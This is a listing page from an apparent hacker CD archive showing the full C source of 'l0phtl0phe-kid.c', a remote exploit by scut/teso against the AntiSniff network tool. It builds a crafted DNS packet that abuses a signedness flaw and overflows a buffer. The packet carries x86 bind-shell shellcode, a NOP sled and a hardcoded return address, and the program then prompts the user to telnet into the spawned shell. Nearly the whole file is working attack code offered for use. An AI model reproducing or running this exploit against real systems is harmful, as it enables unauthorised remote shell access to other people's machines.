home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / teso / l0phtl0phe-kid.c < prev    next >
C/C++ Source or Header  |  2002-05-07  |  4KB  |  132 lines

  1. <html>/* l0phtl0phe-kid.c - antisniff exploit (1-1-1 "second fixed version" included)
  2.  *
  3.  * -scut/teso
  4.  *
  5.  * gcc -o l0phtl0phe l0phtl0phe.c -Wall -lnet `libnet-config --defines`
  6.  *
  7.  * description:
  8.  * l0pht messed up the fix for their problem in antisniff by not regarding
  9.  * the type signedness properties of the char and int values used. this
  10.  * results in a cool method bypassing the too extra checks (length + strncat).
  11.  * some work on this topic have been done by mixter, (bad results on type
  12.  * casting), but it should be obvious to any security conscious programmers.
  13.  * i'm not stating that they aren't allowed errors, but they should fix it
  14.  * for sure if they're going to fix it at all.  -sc.
  15.  *
  16.  * 2nd version: script kiddie proof to avoid that "doesn't work" lamer claim.
  17.  *
  18.  * greetings to all teso, lam3rz, hert, adm, w00w00 and lsd ppl.
  19.  */
  20.  
  21. #include <stdio.h>
  22. #include <stdlib.h>
  23. #include <netinet/in.h>
  24. #include <arpa/nameser.h>
  25. #include <libnet.h>
  26.  
  27.  
  28. #define OFFSET          0xbffef9a0
  29.  
  30. unsigned int    build_xp (unsigned char *xp);
  31.  
  32.  
  33. int
  34. main (int argc, char *argv[])
  35. {
  36.         int             sock;           /* raw socket */
  37.         u_long          src_ip,
  38.                         dst_ip;
  39.  
  40.         unsigned char   xpbuf[1024];    /* this one gets complicated now */
  41.         unsigned char   tpack[2048];    /* paket buffer */
  42.         unsigned int    pl_len;
  43.  
  44.  
  45.         if (argc != 3) {
  46.                 printf ("usage: %s <source ip> <dest ip>\n\n", argv[0]);
  47.  
  48.                 exit (EXIT_FAILURE);
  49.         }
  50.  
  51.         sock = libnet_open_raw_sock (IPPROTO_RAW);
  52.         if (sock == -1) {
  53.                 perror ("libnet_open_raw_sock");
  54.                 exit (EXIT_FAILURE);
  55.         }
  56.  
  57.         src_ip  = libnet_name_resolve (argv[1], 0);
  58.         dst_ip  = libnet_name_resolve (argv[2], 0);
  59.  
  60.         pl_len = build_xp (xpbuf);
  61.  
  62.         libnet_build_ip (UDP_H + DNS_H + pl_len, 0, 7350, 0, 2, IPPROTO_UDP,
  63.                 src_ip, dst_ip, NULL, 0, tpack);
  64.         libnet_build_udp (libnet_get_prand (PRu16), 53, NULL, 0,
  65.                 tpack + IP_H);
  66.         libnet_build_dns (libnet_get_prand (PRu16), 0x0000, 1, 0, 0, 0,
  67.                 xpbuf, pl_len, tpack + IP_H + UDP_H);
  68.         libnet_do_checksum (tpack, IPPROTO_UDP, UDP_H + DNS_H + pl_len);
  69.  
  70.         /* they use "udp and dst port 53" as bpf, so we should have no problem
  71.          */
  72.         libnet_write_ip (sock, tpack, UDP_H + IP_H + DNS_H + pl_len);
  73.         libnet_close_raw_sock (sock);
  74.  
  75.         printf ("exploitation succeeded.\n");
  76.         printf ("try: \"telnet %s 17664\" now.\n", argv[2]);
  77.  
  78.         exit (EXIT_SUCCESS);
  79. }
  80.  
  81.  
  82. /* build_xp
  83.  *
  84.  * build exploit buffer into buffer pointed to by `xp'.
  85.  */
  86.  
  87. unsigned int
  88. build_xp (unsigned char *xp)
  89. {
  90.         int             i;
  91.         unsigned char   buf[1024];
  92.         unsigned char   shellcode[] =
  93.                 /* portshell 17644 portshellcode by smiler & scut */
  94.                 "\x31\xc0\xb0\x02\xcd\x80\x09\xc0\x74\x06\x31\xc0"
  95.                 "\xfe\xc0\xcd\x80\xeb\x76\x5f\x89\x4f\x10\xfe\xc1"
  96.                 "\x89\x4f\x0c\xfe\xc1\x89\x4f\x08\x8d\x4f\x08\xfe"
  97.                 "\xc3\xb0\x66\xcd\x80\xfe\xc3\xc6\x47\x10\x10\x66"
  98.                 "\x89\x5f\x14\x88\x47\x08\xb0\x45\x66\x89\x47\x16"
  99.                 "\x89\x57\x18\x8d\x4f\x14\x89\x4f\x0c\x8d\x4f\x08"
  100.                 "\xb0\x66\xcd\x80\x89\x5f\x0c\xfe\xc3\xfe\xc3\xb0"
  101.                 "\x66\xcd\x80\x89\x57\x0c\x89\x57\x10\xfe\xc3\xb0"
  102.                 "\x66\xcd\x80\x31\xc9\x88\xc3\xb0\x3f\xcd\x80\xfe"
  103.                 "\xc1\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80\x31"
  104.                 "\xd2\x88\x57\x07\x89\x7f\x0c\x89\xfb\x8d\x4f\x0c"
  105.                 "\xb0\x0b\xcd\x80\x31\xc0\x99\x31\xdb\x31\xc9\xe8"
  106.                 "\x7e\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
  107.  
  108.         unsigned char   head[] =
  109.                 "\x07-7350-\x00\xfe";
  110.  
  111.         memcpy (buf, head, 9);
  112.         for (i = 9 ; i < (sizeof (buf) - strlen (shellcode)) ; ++i)
  113.                 buf[i] = '\x90';
  114.         memcpy (buf + sizeof (buf) - strlen (shellcode), shellcode,
  115.                 strlen (shellcode));
  116.  
  117.         buf[272] = '\xeb';
  118.         buf[273] = '\x08';
  119.         buf[274] = (OFFSET      ) & 0xff;
  120.         buf[275] = (OFFSET >>  8) & 0xff;
  121.         buf[276] = (OFFSET >> 16) & 0xff;
  122.         buf[277] = (OFFSET >> 24) & 0xff;
  123.  
  124.         memcpy (xp, buf, sizeof (buf));
  125.  
  126.         return (sizeof (buf));;
  127. }
  128.  
  129.  
  130.  
  131.  
  132.